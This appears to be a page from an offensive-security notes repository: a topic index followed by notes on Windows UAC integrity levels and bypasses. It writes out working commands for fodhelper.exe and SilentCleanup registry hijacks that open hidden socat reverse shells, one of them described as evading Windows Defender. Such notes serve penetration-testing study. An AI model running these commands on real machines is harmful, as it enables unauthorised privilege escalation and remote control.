Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- User Account Control
  - Login Tokens
  - User Account Control Settings
  - How UAC Works
  - Bypass
    - GUI
      - msconfig
      - azman.msc
      - Autoelevate Process
    - Commandline
      - Fodhelper.exe
    - Scheduled Tasks
    - Automated Bypass
  - Detection

# User Account Control

- Change permissions of a process or its resources
- Mandatory Integrity Control (MIC)
- Feature of MAC, assigns integrity level on permissions
  - Low
  - Medium
  - High
  - System

## Login Tokens

- Access tokens are given to users at login
  - Non Administrator Token, integrity level low
  - Filtered Token, stripped administrative permission, integrity level medium
  - Elevated Token, elevates to integrity level high

## User Account Control Settings

- Always notify
- Notify me only when programs try to make changes to my computer, shows UAC dialogue
- Notify me only when programs try to make changes to my computer (do not dim my desktop)
- Never notify, never show UAC dialogue

## How UAC Works

Application Information Service, a.k.a Appinfo

- User requests elevated permissions
- `ShellExecute` API call is made via `runas.exe`
- Request to Appinfo
- Application manifest is checked if AutoElevation is set to on
- Appinfo runs `consent.exe`, dialogue opens up
- User clicks yes, token is checked. PPID of the newly created porcess will be pointed to the shell from which the request originates, while the login token is elevated. Otherwise it is denied

## Bypass

- UAC is seen as a convenience function, not a security function
- `Mandatory Label` is shown via `whoami /groups`

### GUI

#### msconfig

- Open `msconfig`, always got integrity level high via auto elevation
- On Tab `Tools` choose `Command Prompt` and press `Launch` to get an elevated `cmd.exe`

#### azman.msc

- Open `azman.msc` --> `Help` --> `Help Topics`
- Right click help article --> `view source`
- `Open` --> `File`, select `All Files`
- Dialogue opens up, go to `C:\Windows\System32\cmd.exe` and right click on it to open

#### Autoelevate Process

- Binary must be signed

- Must be in a trusted dir like `Program Files` or `Windows`

- Additionaly, portable executables need `autoelevate` in the manifest. Check via

    sigcheck64.exe -m <portable_executable.exe>

- `mmc.exe` autoelevates depending on user request for msc-snapin
- Most `*.msc`s, `spinstall.exe`, `pkgmgr.exe` as well as COM objects autoelevate

### Commandline

#### Fodhelper.exe

- Default applications are stored in `HKEY_LOCAL_MACHINE\Software\Classes` which is superseded by the current user profile `HKEY_CURRENT_USER\Software\Classes`
- `ms-settings` ProgID is searched for by `fodhelper.exe`, this setting overrides system defaults of which executable opens the filetype

- The subprocess of `fodhelper.exe` inherits intergrity level high

- Open reverse shell on attacker and

    whoami
    net user <user> | find "Local Group"
    whoami /groups | find "Label"
    set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
    set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:$TARGET_IP:4444 EXEC:cmd.exe,pipes"
    reg add %REG_KEY% /v "DelegateExecute" /d "" /f
    reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

- Clean up via

    reg delete HKCU\Software\Classes\ms-settings\ /f

- When Windows Defender is enabled use v3d3d's improvement for bypassing Windows Defender

    $program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:$TARGET_IP:4445 EXEC:cmd.exe,pipes"

    New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force

    New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
    Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force

    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:$TARGET_IP:4445 EXEC:cmd.exe,pipes"
    reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /d %CMD% /f
    reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
    fodhelper.exe

    reg delete "HKCU\Software\Classes\.thm\" /f
    reg delete "HKCU\Software\Classes\ms-settings\" /f

### Scheduled Tasks

- UAC will not be triggered on scheduled tasks
- DiskCleanup calls `%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%`
- Set `%windir%` to a reverse shell via

    reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:$TARGET_IP:4711 EXEC:cmd.exe,pipes &REM " /f
    schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
    reg delete "HKCU\Environment" /v "windir" /f

### Automated Bypass

- hfiref0x's automated bypass named UCAME

## Detection

- https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/